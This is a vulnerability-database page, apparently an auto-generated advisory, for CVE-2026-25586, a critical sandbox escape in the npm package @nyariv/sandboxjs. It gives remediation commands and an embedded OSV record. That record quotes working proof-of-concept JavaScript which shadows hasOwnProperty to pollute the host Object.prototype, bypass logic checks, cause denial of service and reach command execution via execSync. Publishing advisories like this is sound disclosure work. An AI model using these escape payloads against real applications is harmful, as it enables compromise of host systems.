CVE-2026-25586: @nyariv/sandboxjs @nyariv/sandboxjs Has Sandbox Escape Vulnerability
CRITICALCVE-2026-25586 is a CRITICAL (CVSS 10.0) @nyariv/sandboxjs has sandbox escape vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves @nyariv/sandboxjs has sandbox escape via prototype whitelist bypass and host prototype pollution. Remediation is available by upgrading affected packages to version 0.8.29.
CVE-2026-25586 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-25586
To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @nyariv/sandboxjs@0.8.29
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @nyariv/sandboxjs
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-25586, inspect your project dependencies using npm:
npm ls @nyariv/sandboxjs
Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.29), your application is affected.
Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-25586 Affected @nyariv/sandboxjs Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@nyariv/sandboxjs
|
npm |
< 0.8.29
|
0.8.29
|
References
Frequently Asked Questions
What is CVE-2026-25586?
Which @nyariv/sandboxjs versions are affected?
What version fixes CVE-2026-25586?
Is @nyariv/sandboxjs affected?
What is the CVSS score of CVE-2026-25586?
What CWE is associated with CVE-2026-25586?
How can I check npm dependencies for CVE-2026-25586?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jjpw-65fv-8g48",
"modified" : "2026-02-06T21:42:50Z",
"published" : "2026-02-05T21:04:58Z",
"aliases" : [ "CVE-2026-25586" ],
"summary" : "@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution",
"details" : "## Summary\nA sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling **host `Object.prototype` pollution** and persistent cross-sandbox impact.\n\nThe issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists.\n\n## Root Cause\n`prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker‑controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped.\n\n- [src/executor.ts:348](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L348) `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');`\n\n<img width=\"1030\" height=\"593\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f\" />\n\n- [src/executor.ts:367-399](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L367) prototype whitelist enforcement only happens when `prototypeAccess` is true.\n\n<img width=\"929\" height=\"345\" alt=\"image\" src=\"https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471\" />\n\n- [src/executor.ts:220-233](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L220) mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing.\n\n<img width=\"769\" height=\"332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897\" />\n\n\n## Proofs of Concept\n `node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration`\n `node node_modules/rollup/dist/bin/rollup -c`\n Runtime target: `dist/node/Sandbox.js`\n \n ### Baseline: `__proto__` blocked without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\ntry {\n const res = sandbox.compile(`return ({}).__proto__`)().run();\n console.log('res', res);\n} catch (e) {\n console.log('error', e && e.message);\n}\n```\n<img width=\"734\" height=\"65\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9\" />\n\n### Prototype whitelist bypass -> host `Object.prototype` pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\nconst code = `\n const o = { hasOwnProperty: () => true };\n const proto = o.__proto__;\n proto.polluted = 'pwned';\n return 'done';\n`;\n\nsandbox.compile(code)().run();\n\nconsole.log('polluted' in ({}), ({}).polluted);\n```\n<img width=\"549\" height=\"95\" alt=\"image\" src=\"https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30\" />\n\n\n### Logic bypass via prototype pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n const o = { hasOwnProperty: () => true };\n const proto = o.__proto__;\n proto.isAdmin = true;\n return 'ok';\n`)().run();\n\nconsole.log('isAdmin', ({}).isAdmin === true);\n```\n<img width=\"527\" height=\"83\" alt=\"image\" src=\"https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57\" />\n\n### DoS by overriding `Object.prototype.toString`\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n const o = { hasOwnProperty: () => true };\n const proto = o.__proto__;\n proto.toString = function () { throw new Error('aaaaaaa'); };\n return 'ok';\n`)().run();\n\ntry {\n String({});\n} catch (e) {\n console.log('error', e.message);\n}\n```\n<img width=\"500\" height=\"147\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41\" />\n\n### RCE via host gadget (prototype pollution -> `execSync`)\n\n<img width=\"737\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40\" />\n\n\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst { execSync } = require('child_process');\n\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n const o = { hasOwnProperty: () => true };\n const proto = o.__proto__;\n proto.cmd = 'id;\n return 'ok';\n`)().run();\n\nconst obj = {}; // typical innocent object\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n\n## Additional Finding : Prototype mutation via intermediate reference\nThis does **not** require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks.\n### Mutate `Array.prototype.filter` without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();\n\nconsole.log('host filter', [1,2].filter);\n```\n**Output:**\n```\nhost filter 1\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@nyariv/sandboxjs"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.29"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.8.28"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25586"
}, {
"type" : "WEB",
"url" : "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nyariv/SandboxJS"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-74" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-05T21:04:58Z",
"nvd_published_at" : "2026-02-06T20:16:10Z"
}
}